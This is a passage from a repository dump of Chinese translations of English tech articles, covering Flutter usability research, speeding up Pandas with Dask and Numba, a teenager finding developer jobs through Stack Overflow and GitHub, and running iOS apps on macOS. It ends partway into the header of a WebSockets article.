动画中,他们怎么会看不到 Hot Reload 按钮呢? ![](https://cdn-images-1.medium.com/max/1600/1*oE-etcL1SzjYrNWTac9RtQ.gif) 结果表明,无视 Hot Reload 按钮并期望在保存时触发重新加载的参与者是 React Native 的用户。他们告诉我们,在 React Native 中,Hot Reload 是在文件保存时自动执行的。 开发人员预先存在的心智模型会改变他们的感知,并在一定程度上对 UI 元素产生『盲目性』。团队增加了更多的视觉提示来帮助发现 Hot Reload 按钮。此外,一些工程师一直在研究一种可靠的方法,为需要它的用户提供保存时重新加载的功能。 #### 5. 不要假定程序员会像你期望的那样阅读出现在代码中的英语 在 Flutter 中,[一切都是一个部件](https://flutter.io/technical-overview/)。用户界面主要通过嵌套部件组成。一些部件只有一个子部件,而其他部件则有多个子部件。这个区别是由于部件类的属性是『一个子部件』(child)」还是『多个子部件』(children)。听起来很明确,对吧? 我们也是这样认为的。然而,对一些参与者来说,单词的单数形式并不能成功的表明只有一个部件可以嵌套在当前的部件中。他们怀疑『子部件』(child)是否真的意味着『只有一个』。 > 「我在想『子部件』(child)是否可以是多个。我能传递一批子部件进去,或者说真的可能只有一个子部件?」(P2) > 「所以『子部件』(child)将是四件事,第一项、一个分隔符和另外两项。」(P2) 这种对属性名称语义的错误理解导致了以下的错误代码: ![](https://cdn-images-1.medium.com/max/1600/0*BARfNXeq3DpabHxq.) 而且在这种情况下显示的错误消息虽然准确,却不足以将参与者推回到正确的路径上: ![](https://cdn-images-1.medium.com/max/1600/0*HOBxZmDvGc_TAukH.) 新手程序员在这儿所犯的错误很容易被忽视。然而,看到专业开发人员浪费时间来处理简单的问题让团队成员感到很不爽。所以在调查结果报告出来的几天后,团队成员进行了短期的修复工作。通过运行「flutter create」命令,将一个最有用的多个子部件『列』,添加到你获得的应用程序模板中。我们的目标是让新手发开人员尽早了解『子部件』(child)和『多个子部件』(children)的区别,避免他们以后再浪费时间去弄清楚。除此之外,一些团队成员也在研究一个更长期的解决方案,以改善错误信息在此种情况和其他情况下的可操作性。 ### 结论 我们可以从观察程序员使用 API 和应用所学中学到很多,来提高面对开发人员产品的用户体验。如果你编写了代码或构建了其他开发人员使用的工具,我们建议你观察他们是如何使用它的。正如一位 Flutter 的工程师所说的,你总是能从观察用户研究中学到一些新的东西。随着软件不断推动世界的变化,我们要关爱研发人员,让他们能尽可能高效开发,并保持心情愉快。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-i-learned-to-love-parallelized-applies-with-python-pandas-dask-and-numba ================================================ > * 原文地址:[Data Pre-Processing in Python: How I learned to love parallelized applies with Dask and Numba](https://medium.com/@ernestk.social/how-i-learned-to-love-parallelized-applies-with-python-pandas-dask-and-numba-f06b0b367138) > * 原文作者:[Ernest Kim](https://medium.com/@ernestk.social?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-i-learned-to-love-parallelized-applies-with-python-pandas-dask-and-numba.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-i-learned-to-love-parallelized-applies-with-python-pandas-dask-and-numba.md) > * 译者: > * 校对者: # Data Pre-Processing in Python: How I learned to love parallelized applies with Dask and Numba * If you’re comfortable with using Pandas to transform data, create features, and perform cleaning, you can easily parallelize your workflow with Dask and Numba. * In pure speed: Dask beats Python, Numba beats Dask, Numba+Dask beats ’em all * Instead of using a Pandas apply, separate out numerical calculations into a Numba sub-function and use a Dask `map_partition + apply` * On a 1 million row dataset, creating new features with a mix of numerical calculation and Pandas methods, number of times slower than Numba+Dask: Python: **60.9x** | Dask: **8.4x** | Numba: **5.8x** | Numba+Dask: **1x** * * * ![](https://cdn-images-1.medium.com/max/800/1*ury0XRvKWpwAZsMQ_m1_cg.jpeg) Go fast with Numba and Dask. As a master’s candidate of Data Science at the [University of San Francisco](https://www.usfca.edu/arts-sciences/graduate-programs/data-science), I get to regularly wrangle with data. Applies are one of the many tricks I’ve picked up to help create new features or clean-up data. Now, I’m only [data scientist-ish](https://github.com/ernestk-git/data-scientist-ish) and not an expert in computer science. I am, however, a tinkerer that enjoys making code faster. Today, I’ll be sharing my experiences with parallelizing applies, with a particular focus on common data prep tasks. Python aficionados may know that Python implements what’s known as a Global Interpreter Lock. Those more grounded in computer science can [tell you more](https://stackoverflow.com/questions/1294382/what-is-a-global-interpreter-lock-gil), but for our purposes, the GIL can make using all of those cpu cores in your computer tricky. What’s worse, our chief data wrangler package, Pandas, rarely implements multi-processing code. #### **Apply vs Multiprocessing.map** ``` %time df.some_col.apply(lambda x : clean_transform_kthx(x)) Wall time: HAH! RIP BUDDY # WHY YOU NO RUN IN PARALLEL!? ``` Those of us crossing over from the R realm know that the Tidyverse has done some wonderful things for handling data. One of my favorite packages, [plyr](http://had.co.nz/plyr/), allows R users to easily parallelize their applies on data frames. From Hadley Wickham: > plyr is a set of tools for a common set of problems: you need to **split** up a big data structure into homogeneous pieces, **apply** a function to each piece and then **combine** all the results back together What I wanted was plyr for Python! Sadly, it does not yet exist, but I used a [hacky solution](http://blog.adeel.io/2016/11/06/parallelize-pandas-map-or-apply/) from the multiprocessing package for a while. It certainly works, but I wanted something that was more akin to regular Pandas applies…but like, parallel and stuff. #### [**Dask**](https://dask.pydata.org/en/latest/) ![](https://cdn-images-1.medium.com/max/800/1*wfQ_pXwrr7Y_0_aXSVmQWg.png) Thanks for all the cores [AMD](https://www.amd.com/en/ryzen)! We spend a bit of class time on Spark so when I started using Dask, it was easier to grasp its main conceits. Dask is designed to run in parallel across many cores or computers but mirror many of the functions and syntax of Pandas. Let’s dive in to an example! For a recent data challenge, I was trying to take an external source of data (many geo-encoded points) and match them to a bunch of street blocks we were analyzing. I was calculating euclidean distances and using a simple max-heuristic to assign it to a block: ![](https://cdn-images-1.medium.com/max/800/1*rNIJiaWUAv-DmM7JxdsD9Q.png) Is the point close to L3? The L1 + L2 may shock you… My original apply: `my_df.apply(lambda x: nearest_street(x.lat,x.lon),axis=1)` My Dask apply: ``` dd.from_pandas(my_df,npartitions=nCores).\ map_partitions( lambda df : df.apply( lambda x : nearest_street(x.lat,x.lon),axis=1)).\ compute(get=get) # imports at the end ``` Pretty similar right? The apply statement is wrapped around a `map_partitions`, there’s a `compute()` at the end, and I had to initialize `npartitions`. Spark users will find this familiar, but let’s disentangle this a bit for the rest of us. [Partitions](http://dask.pydata.org/en/latest/dataframe.html) are just that, your Pandas data frame divided up into chunks. On my computer with 6-Cores/12-Threads, I told it to use 12 partitions. Dask handles the rest for you thankfully. Next, map_partitions is simply applying that lambda function to each partition. Since many of our data processing code operates on each row independently, we do not have to worry too much about the order of these operations (which row goes first or last is irrelevant). Lastly, the compute() is telling Dask to process everything that came before and deliver the end product to me. Many distributed libraries like Dask or Spark implement ‘lazy evaluation’, or creating a list of tasks and only executing when prompted to do so. Here, compute() calls Dask to map the apply to each partition and (get=get) makes it parallel. I did not use a Dask `apply` because I am iterating over rows to generate a new array that will become a feature. The Dask `apply` only works across [columns](http://dask.pydata.org/en/latest/dataframe-api.html#dask.dataframe.DataFrame.apply). Here are the imports for the Dask code: ``` from dask import dataframe as dd from dask.multiprocessing import get from multiprocessing import cpu_count nCores = cpu_count() ``` #### [**Numba**](http://numba.pydata.org/#)**,** [**Numpy**](http://numba.pydata.org/numba-doc/dev/reference/numpysupported.html) **and** [**Broadcasting**](https://docs.scipy.org/doc/numpy/user/basics.broadcasting.html) Since I was classifying my data based on some simple algebraic calculations (Pythagorean theorem basically), I figured it would run quickly enough in typical Python code that looks like this: ``` matches = [] for i in intersections: l3 = np.sqrt( (i[0] - i[1])**2 + (i[2] - i[3])**2 ) # ... Some more of these dist = l1 + l2 if dist < (l3 * 1.2): matches.append(dist) # ... More stuff ### you get the idea, there's a for-loop checking to see if ### my points are close to my streets and then returning closest ### I even used numpy, that means fast right? ``` ![](https://cdn-images-1.medium.com/max/800/1*z4h3mQ-ztG1MA0dz1tRlpg.png) It was not. Broadcasting is the idea of writing code with a vector mindset as opposed to scalar. Say I have an array, and I want to futz with it. Normally, I would iterate over it and transform each cell individually. ``` # over one array for cell in array: cell * CONSTANT - CONSTANT2 # over two arrays for i in range(len(array)): array[i] = array[i] + array2[i] ``` Instead, I can skip the for loops entirely and perform operations across the entire array. Numpy functions incorporate broadcasting and can be used to perform element-wise computations (1-element in an array to a corresponding 1-element in another array). ``` # over one array (array * CONSTANT) - CONSTANT2 # over two arrays of same length # different lengths follow broadcasting rules array = array - array2 ``` Broadcasting can accomplish so much more, but let’s look at my skeleton code: ``` from numba import jit @jit # numba magic def some_func() l3_arr = np.sqrt( (intersections[:,0] - intersections[:,1])**2 +\ (intersections[:,2] - intersections[:,3])**2 ) # now l3 is an array containing all of my block lengths # likewise, l1 and l2 are now equal sized arrays # containing distance of point to all intersections dist = l1_arr + l2_arr match_arr = dist < (l3_arr * 1.2) # so instead of iterating, I just immediately compare all of my # point-to-street distances at once and have a handy # boolean index ``` Essentially, we’re changing `for i in array: do stuff` to `do stuff on array`. The best part is that it’s fast, even compared to parallelizing versus Dask. The good part is that if we stick to basic Numpy and Python, we can Just-In-Time compile just about any function. The bad part is that it only plays well with Numpy and simple Python syntax. I had to strip out all of the numerical calculations from my functions into sub-functions, but the speed increase was magical… #### Putting it all together To combine my Numba function with Dask, I simply applied the function with `map_partition()`. I was curious if parallelized operations and broadcasting could work hand in hand for a speed-up. I was pleasantly surprised to see a large speed up, especially with larger data sets: ![](https://cdn-images-1.medium.com/max/800/1*RGap2-WIEWrgo2RDf6jdiA.png) Go Numba go! ![](https://cdn-images-1.medium.com/max/800/1*q_f-EzQFuLC14amYx9VbMA.png) So x is: 1, 10, 100, 1000… The first graph indicates that linear computation without broadcasting performs poorly. We see that parallelizing the code with Dask is almost as effective as using Numba+broadcasting, but clearly, Dask+Numba outperforms others. I include the second graph to anger people that like simple and interpretable graphics. Or it’s there to show that Dask comes with some overhead costs, but Numba does not. I took `head(nRows)` to create these charts and noticed it was not until 1k — 10k rows that Dask came into its own. I also found it curious that Numba alone was consistently faster than Dask, although the combination of Dask+Numba could not be beat at large nRows. **Optimizations** To be able to JIT compile with Numba, I re-wrote my functions to take advantage of broadcasting. Out-of-curiosity, I reran these functions to compare Numba+Broadcasting vs Just Broadcasting (Numpy only basically). On average, `@jit` executes about 24% faster for identical code. ![](https://cdn-images-1.medium.com/max/800/1*YsYMh8inCLZbRVD0xpbzNw.png) Thanks JIT! I’m sure there are ways to optimize even further, but I liked that I was able to quickly port my previous work into Dask and Numba for a 60x speed increase. Numba only really requires that I stick to Numpy functions and think about arrays all at once. Dask is very user friendly and offers a familiar syntax for Pandas or Spark users. If there are other speed tricks that are easy to implement, please feel free to share! * * * * All work conducted on a home-built server running Ubuntu 16.04, Python 3, and Anaconda on AMD Ryzen 1600, 32 GB RAM, GTX 1080. --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-i-used-stack-overflow-github-to-get-dream-job-before-19-without-degree.md ================================================ > * 原文地址:[How I used Stack Overflow & GitHub to get dream job before 19 without degree](https://medium.com/@danielkmak/how-i-used-stack-overflow-github-to-get-dream-job-before-19-without-degree-8cb5184e2bec#.p4zh8ykfu) * 原文作者:[Daniel Kmak](https://medium.com/@danielkmak) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[jiaowoyongqi](https://github.com/jiaowoyongqi) * 校对者:[Romeo0906](https://github.com/Romeo0906), [yifili09](https://github.com/yifili09) # 19岁的我没有学位,但是通过 Stack Overflow 和 GitHub 找到了梦想的工作 大家好,我叫丹尼尔,今年 18 岁。我没有技术专业的学位。我想写一写自己的亲身经历。现在我有两份梦寐以求且报酬丰厚的工作,全职前端开发工程师以及 Ember.js 的远程兼职顾问。 毫无疑问,这两份工作都要归功于 **Stack Overflow** 和 **GitHub**。通过这两个网站我收获到了: * 让招聘者刮目相看的人气值 * 心仪公司的关注,并获得了 10 到 15 个远程视频面试的机会 * Ember.js 远程顾问的兼职工作 * 前端程序员的全职工作 * * * ### GitHub GitHub 帮助我得到了不只是一份,而是两份工作!我在兼职咨询工作的技术面试中,曾以 GitHub 作为我的实力优势。同样,当我在向目前这家公司的全职前端程序员职位表示求职意向时,他们要求我提供 GitHub 地址链接。 当你在面对招聘者的时候,你手里需要掌握砝码。他们不仅需要了解你对于特定语言和框架的掌握程度,而且对他们来说**很重要**的是看到你的**综合能力**,你比那些只会写面条式代码的程序员懂更多! ![](https://cdn-images-1.medium.com/max/1600/1*yXuU2kZE61ovrf30IEjc2g.jpeg) 见 [面条式代码](https://en.m.wikipedia.org/wiki/Spaghetti_code) GitHub 是一个你可以展示代码的地方。例如,当你学到新的技术后,可以新建一个涉及这个技术的 repository ,然后上传到 GitHub 上。这样做会有四点好处: * 你可以证明你了解这项技术,这个语言或框架 * 人们可以看到你写的优质代码,你可以为代码优化架构让其变得简洁,你知道 [OOP](https://en.wikipedia.org/wiki/Object-oriented_programming),你还可以写 [SOLID](https://en.wikipedia.org/wiki/SOLID_%28object-oriented_design%29)。招聘者还可以把这些展示给公司团队的其他成员,共同决定是否要对你进行第一轮的技术面试 * 你至少有基本的 Git 以维护你在 GitHub 上的 repositories * 招聘者会基于你在 GitHub 的 repository 中所使用的语言来给你发邮件,这整个过程是自动化的。我就收到大概 10 封这样的邮件。所以,如果你的 repository 是用 C# 来写的,那么你很有可能收到关于 C# 职位的面试邀请。当然招聘者发来的邮件并不算什么,但至少这也是一个机会。你现在的情况是招聘者主动找上来,而不是你找他们,相信我,这样的求职更为容易 我就这样做过。我收到了类似的面试邀请。但我并没有把所有的项目都这样做,一部分项目创建在 GitLab 中仅我自己可见。我希望在以后能够有机会推销他们,但是我并没有完成它们。然而现在我后悔没有把它们给公开。如果我将它们以开源项目发表后,并且用文档的形式展示它们是如何工作的,长成什么样子的,那么它们就能加到我的简历作品集里面了。 ![](https://cdn-images-1.medium.com/max/1600/1*4heNvJlVgDVMEWt-nkKVkw.gif) [我在 GitHub 上的 repositories](https://github.com/Kuzirashi?tab=repositories) 我也在很多 Ember 相关的 repositories 中做了很多贡献。有时候是文档方面的,有时候是代码方面的。你在某些大项目中做出的贡献,这对于求职是很有帮助的。但就这次的求职而言,他们对于我帮助并没有很大。 ![](https://cdn-images-1.medium.com/max/1600/1*HVxpqhoWLGKEAvqAeYrnAQ.png) [我在 Ember.js 的 repository 上的评论](https://github.com/emberjs/ember.js/commits/master?author=kuzirashi) * * * ### Stack Overflow 几年前我认为在我没有大学学历的前提下,Stack Overflow 是帮助我找到工作的最可靠的方式。事实证明我是对的。 我是怎么知道的呢?归功于开源项目的自我宣传。我了解到应聘者会通过浏览你的 Stack Overflow 帐号来评价你的专业技能。但是远没这么简单。当我来到现在这家公司面试全职程序员的时候,大概 1 万的人气值(统计截止至 6 月份)再加上我的年龄,这两项足以让面试官瞠目结舌。最后他们决定录入我。谢谢你,Stack Overflow! ![](https://cdn-images-1.medium.com/max/1600/1*SsxXa-gYZxYDJkPBMmhKAA.png) [Stack Overflow 的帐号](http://stackoverflow.com/users/2166409/daniel-kmak?tab=profile),2016 年 8 月. 我用各种语言和框架写过程序。用 ASP.NET & Mono 开发过游戏服务列表,用 XNA、Java 服务、C# WPF 程序等来编写过电脑版的塔防游戏。而唯一让我感兴趣的可能就是使用互联网来获取和发送数据吧。 我的强项就是 Ember.js。我从 16 岁(2013 年)开始学习它,后来我看了 [Yehuda Katz](https://medium.com/u/324797632ca4) 在旧金山 HTML5 大会上的视频—— [真正卓越](https://youtu.be/u6RFyVN9sNg)。于是我有了人生理想,那就是学习 Ember,我需要更多的动力及决心。[这个视频](https://youtu.be/rstD4rm3EQ8) 中的这段话,在我第一次听到后,就一直烙印在脑海中。 > 无论你做什么,投入热情吧。 回到 Stack Overflow。一开始当我处于学习阶段的时候,我在上面提问。然后我开始回答其他人的问题,以此来获得人气值。我打开所有新出现的问题,并趁这个问题成为热门话题之前,试着以最快的速度回答他,这样的话题例如 JavaScript。关于 Ember 的问题对我而言更加简单了。我花费大把的时间写下我的答案并且详细地分析那些复杂的问题。很少有人会回答这类的问题。 有时候持续 30 天我都是排名第一的回答者,于是我有了关注者,接着我收到了许多面试邀请的邮件。其中一个就是 Ember.js 的远程兼职顾问。我因为回答了一个人在 Stack Overflow 中 Ember 分类下的问题,然后得到了一个面试邀请!真事儿,这就是证据。 ![](https://cdn-images-1.medium.com/max/1600/1*bF8AnMvwUWUDpuEfzc-EwQ.png) 邮件的截图。 后来我进行了一次技术面试,关于我对于 Ember 的理解。我通过了。于是从 2015 年 11 月开始,我成为了一名 Ember.js 的技术顾问。 创建一个 Stack Overflow 职业资料页也是十分重要的,有两点原因: * 你会得到一个酷炫的简历,包含你在 Stack Overflow 上面回答的所有答案 * 招聘者会在上面找到你并且给你发送私信,不止两位招聘者在上面联系到我了,而且他们都非常认真并且后来都发来了面试邀请 ![](https://cdn-images-1.medium.com/max/1600/1*kMK_pbAGvqiLN3EQiG6O3Q.png) [我的 Stack Overflow 简历](http://stackoverflow.com/cv/kuzi) * * * **结论** 相信自己,加把劲。并且把你的技能都展示在 Stack Overflow 和 GitHub 上。为公开的开源项目添砖加瓦,并且创建自己的 repositories。让人们知道你。告诉他们你住在哪里,并且你有足够的能力。告诉他们你的热情。在科技行业,招聘者每天都想方设法地找寻像你这样的人才。让他们轻松地找到你吧。 感谢阅读。如果喜欢欢迎分享。如果你有不同的意见或者更好的故事想要分享,欢迎留言!我欢迎任何的反馈! * * * 记得给我写邮件: **contact@danielkmak.com**,或者 [访问我的网站](http://danielkmak.com/) ,在那里你可以了解我更多的信息并且看到更多酷炫的项目。 ================================================ FILE: TODO/how-ios-apps-on-the-mac-could-work.md ================================================ >* 原文链接 : [How iOS Apps on the Mac Could Work](https://medium.com/@sandofsky/how-ios-apps-on-the-mac-could-work-13aa32a2647b) * 原文作者 : [Ben Sandofsky](https://medium.com/@sandofsky) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [wildflame](https://github.com/wildflame) * 校对者: [thanksdanny](https://github.com/thanksdanny),[owenlyn](https://github.com/owenlyn) # 假如 Mac 上也有 iOS 应用? ![](https://cdn-images-1.medium.com/max/800/1*o5AUFxXTmRcAr17x1p6m6A.jpeg) ### 假如 Mac 上也有 iOS 应用,世界将会怎样? 没有人专门为 Mac 开发应用,Slack 有专门的 iOS 版本,放在 iPad 上的体验非常好,接上 smart keyboard 以后,你会发现还可以方便的使用快捷键。而且,在应用上无限下滑的体验甚至超过了他们本身的网页端,甚至于我从来没有看到过一个“加载中”的页面。这体验如果能够放到桌面端那是再好不过了,但是他们没有这么做,他们仅仅只是把他们的网页放到了一个 app-launcher 里,这就成了桌面端。 Basecamp 是这么做的,Wordpress 是这么做的,甚至连 Mac App Store 自己,都只是一个 webview 而已。 对于那些所谓的“应用”,我是再讨厌不过了。我理解大公司的选择,他们**不喜欢**跨平台。设计师们需要专门做设计,QA 需要测试更多的环境,而文职人员们则要费力去翻译那些“原生视图”到更为工业界接受的“页面视图”。那些大公司一直不愿意费力气去替代跨平台的 Html 5 应用也毫不奇怪了。 如果说,还要什么别的原因的话,那就是:这也不仅仅是一个“编译到OS X”的简单工作,你需要雇佣专门的 OS X 开发者,且维护一个新的代码库。 这并不是说大公司抠门。比如 Sketch ,他们也一直没有开发 iOS 的版本,见 [引用](https://www.designernews.co/comments/173706)。 > We cannot port Sketch to the iPad if we have no reasonable expectation of earning back on our investment. Maintaining an application on two different platforms and provide one of them for a 10th of it’s value won’t work, and iPad volumes are low enough to disqualify the “make it up in volume” argument. > 我们不会把 Sketch 移植到 iPad 上面,除非我们有合理期望去赢回我们的投资。去维护一个两个不同的平台,并在其中一个上面付出超过其价值10倍的投入是不值得的,而 iPad 上面的流量少到我们根本不必参与到“尽可能扩大用户”的争论里。 他们认为一个很有效的规避风险的办法就是从试用开始,而我认为还有一个选择就是使得支持 iPad 变成一件简单的事情。你也许会问,“为什么不呢?” 我就直说了:直接把 iOS 应用移植到 OS X 的体验是超级差的,你需要重新设计触摸屏的交互来适应键盘和鼠标的交互。当然也有一些例外,一部分领域的应用是不需要这么做的:假设你请 Pinterest 重新设计他们全是图的界面,他们只需要耸耸肩,然后把整个网站放在一个 webview 里就行了。 ### iOS 和 OS X 的不同之处 尽管 OS X 和 iOS 共享了相当一部分的底层接口,然而他们在 UI 层面是完全不同的。前者是建立在 Appkit 的基础上的,其历史可以追溯到 NeXT。而后者则采用了 UIKit,那是从 iPhone 的最底层开始写的。 二者甚至连坐标系统都是不一样的,在 OS X 上坐标点在左下方,而 iOS 上面则到了在左上方。 ![](https://cdn-images-1.medium.com/max/800/1*SJU8WmP-aHgrwlT92oCRAw.jpeg) 不仅是这样,UIKit 专门为 GPU 设计了渲染加速,每一个 _UIView_ 都有一个核心的动画层(layer)作支持,与 GPU 一同提供了流畅的滑动体验。 但大概是为了支持比较早的版本,这层 layer 到了 Mac 上就变成非必须的了,甚至就算你启用了这个动画层,你也会感觉到他们也是建立在 _NSView_ 上面的。 当然也存在一些重新实现 UIKit 的库,比如 [TwUI](https://github.com/twitter/twui) 和 [Chameleon](http://chameleonproject.org),后者意在寻求相同的 API。理论上,你可以在不同的平台上共享 100% 的 UI 代码。但实际上,这些框架是往往是费力不讨好的,因为他们都是第三方的。 即便是在 Mac 的开发者中,也有对 UIKit 架构的需求。去年,苹果官方的应用 Photos 就包含了[UXKit](https://sixcolors.com/post/2015/02/new-apple-photos-app-contains-uxkit-framework/),而游戏中心则采用了[UICollectionView](https://twitter.com/steipete/status/740065011712806912)做替代。 ### 我的期望 不要期望现在的 iOS 不经改变就可以运行在 macOS 上面。看看 [tvOS](https://developer.apple.com/library/tvos/documentation/General/Conceptual/AppleTV_PG/index.html#//apple_ref/doc/uid/TP40015241) 就知道了。 > tvOS is derived from iOS but is a distinct OS, including some frameworks that are supported only on tvOS. > tvOS 是 iOS 的一个衍生版本,包含了很多只能在 tvOS 上使用的框架。 那上面也运行 UIKit,刚刚好能够 _让你_ 重写一遍适合 TV 上的交互。 #### 只用写一个包 (Bundle) 就可以了? TV 上应用的交互方式和触摸屏上的方式差太多了,极有可能到最后,你会得到一个完全不同的设计。 > When porting an existing project, you can include an additional target in your Xcode project to simplify sharing of resources, but you need to create new storyboards for tvOS. Likely, you will need to look at how users navigate through your app and adapt your app’s user interface to Apple TV. > 当移植现有的项目的时候,你可以附加一个 target 在现有的 Xcode 项目里面共享资源。但是,你得专门为 tvOS 创建新的 storyboards。类似地,你还需要研究用户如何使用你的应用来调整你的应用界面来适应 Apple TV。 即便你可以把 tvOS 应用和 iOS 应用放在一个 Bundle 里面,缺点(eg. 过度耦合)也大过优点。我知道不少的 iOS 的开发者都后悔发布了 iPhone/iPad 上通用的应用,因为二者的联结太紧密。很多时候,倒不如把那些共享的代码放到一个框架(framework)里面。 鉴于此,如果想要在 iOS 和 Mac 之间移植,情况也是类似的。如果苹果能使 Mac 和 iOS 的用户体验更相似一些,你很可能可以把 Mac 和 iOS 应用放在同一个包里。 对于开发者而言,一个应用意味着一份 Bundle ID,这使得共享不同设备之间的信息变得更简单。这所有一切的目的,都是为了简化在新平台 (macOS) 上开发与iOS 应用相应的(桌面)应用的流程” 那需要下载的文件的大小呢?一边是运行在 x86上面的,另外一边是运行在 ARM 上的,所以需要把两个不同的架构编译到同一个二进制源码里面,类似于Mac 开始采用 intel 的时候的方案 [fat binaries](https://en.wikipedia.org/wiki/Universal_binary)。不过,iOS9里,Apple 引进了[App Thinning](https://developer.apple.com/library/tvos/documentation/IDEs/Conceptual/AppDistributionGuide/AppThinning/AppThinning.html), 所以你只用下载你所需要的平台上的源代码就可以了。 ![](http://ww3.sinaimg.cn/large/a490147fjw1f4w49p8mtcj20m80ck75n.jpg) #### 界面惯例 在 iOS8里,苹果加上了“trait collection”和一些别的属性,允许你查看平台的细节。现在的[Interface Idiom](https://developer.apple.com/library/ios/documentation/UIKit/Reference/UIDevice_Class/index.html#//apple_ref/c/tdef/UIUserInterfaceIdiom) 属性包括了 **iPhone**, **iPad**, **TV**, or **CarPlay**。你可以查看这些惯例,看那些视图是可用的,比方说 popover 就只在 iPad 上有。 理论上,你可以限制一些 Mac 的特性,使其符合 **Mac** 惯例,比如浮动调色盘。 #### 沙箱 2011年苹果添加了 [sandboxing](https://developer.apple.com/library/mac/documentation/Security/Conceptual/AppSandboxDesignGuide/AboutAppSandbox/AboutAppSandbox.html) 到 OS X 里。理论上,你“可以”通过这个功能移植 iOS 应用到 OS X上面。 #### 解决更大的屏幕和页面 那坐标系统呢?—— 如果你使用自动布局,就不用担心了。别的情况,你可以用相对布局来取代那些写死的坐标,就好比是 CSS 一样,其实并不是很复杂。 下面的这个[例子](https://developer.apple.com/library/ios/documentation/UserExperience/Conceptual/AutolayoutPG/index.html#//apple_ref/doc/uid/TP40010853-CH7-SW1)里,每一条蓝色的线都是一个规则,只要这些规则是有意义的,自动布局就会帮你处理剩下的问题。 ![](http://ww4.sinaimg.cn/large/a490147fjw1f4w4a1jmg5j20g00klaam.jpg) 再也没有(0,0)点了,你可以毫无顾忌的改变窗口的大小。 不幸的是,很多应用都写死了坐标值。除了 UIKIt 以外, Apple 都要抛弃掉坐标系统了。如果你把它和 Appkit 应用链接到一块的话,你就得到了已有的坐标系统,而指望在同一个应用里统一 Appkit 和 UIKit 的坐标系只会把一切弄得一团糟。 #### 避免写出巨大尺寸的 iPhone 应用 那那些可憎的拉伸的 iPhone 应用呢?他们已经在用 [Size Classes](https://developer.apple.com/library/ios/documentation/UserExperience/Conceptual/MobileHIG/LayoutandAppearance.html) 来解决这个问题了,它鼓励你考虑屏幕资源来设计,而不是考虑硬件资源。它的每一个维度可以是“紧凑的”或是“普通的”。比方说,iPhone 的宽度是“紧凑的”,而全屏的 iPad 应用的宽度则是“普通的”。 ![](http://ww2.sinaimg.cn/large/a490147fjw1f4w4aew3srj20df0gz3yt.jpg) ![](http://ww2.sinaimg.cn/large/a490147fjw1f4w4aq64lpj208r0e6mxc.jpg) 比方说你正在使用 Facebook,你希望在屏幕的一边能够一直看到更新的话题,而你的屏幕上还空了一大块。你可以把它设定成“普通的”宽度。那为什么要这么大费周章,而不是简简单单的看一下这是不是一台iPad呢?这是因为只需要把应用从“普通的”宽度切换到“紧凑的”宽度,就可以让用户方便的在 iPad 上开启多任务模式了。 Mac 也可以做类似的事情,当窗口小于一定阙值以后,就可以改变窗口的类型。 ### 越早实现越好 这五年来,每一次 WWDC,我都在想,“是时候了。”,对于此,我的 Outlook(日程表)已经从“渴望的事情”到了“无可避免了”。 其实苹果公司比任何人都更渴望让 Sketch 这样的应用运行在 iOS 上面。比如说 iOS 上的 Lightroom , 它却不支持“RAW”格式,这对专业的摄影师来说 iPad “pro”就是个笑话。而对比微软的 Surface,上面则运行了**真正的**lightroom。 看起来,Apple 像是放弃了 OS X。他们没有雇佣更多的 AppKit 的开发者,而 Mac 的 App Store 多年来就是破烂不堪了。那么如果他们终于决定放弃旧的平台转而将所有的资源注入到一个(iOS与macOS)统一的平台上会产生怎样的效果呢? 这五年来,苹果改变很多,iOS 7 显示了他们愿意打破传统。Apple Watch 显示他们愿意承担风险。为什么不呢?他们在2010年就开始在 “Back to the mac” 上承担风险了。 他们说,在 WWDC2016 上 OS X 会被重命名为 macOS,今年会是时候了吧。 **译注: "Back to the mac" 是苹果在2010年的一项活动,那次发布了Mac OS X Lion,并且介绍了苹果如何期望把 Mac 平台和 iOS 平台统一起来。本文在图片里的标题也是“Back to the mac”** ================================================ FILE: TODO/how-javascript-works-deep-dive-into-websockets-and-http-2-with-sse-how-to-pick-the-right-path.md ================================================ > * 原文地址:[How JavaScript works: Deep dive into WebSockets and HTTP/2 with SSE + how to pick the right path](https://blog.sessionstack.com/how-javascript-works-deep-dive-into-websockets-and-http-2-with-sse-how-to-pick-the-right-path-584e6b8e3bf7) > * 原文作者:[Alexander Zlatkov](https://blog.sessionstack.com/@zlatkov?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-deep-dive-into-websockets-and-http-2-with-sse-how-to-pick-the-right-path.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-deep-dive-into-websockets-and-http-2-with-sse-how-to-pick-the-right-path.md) > * 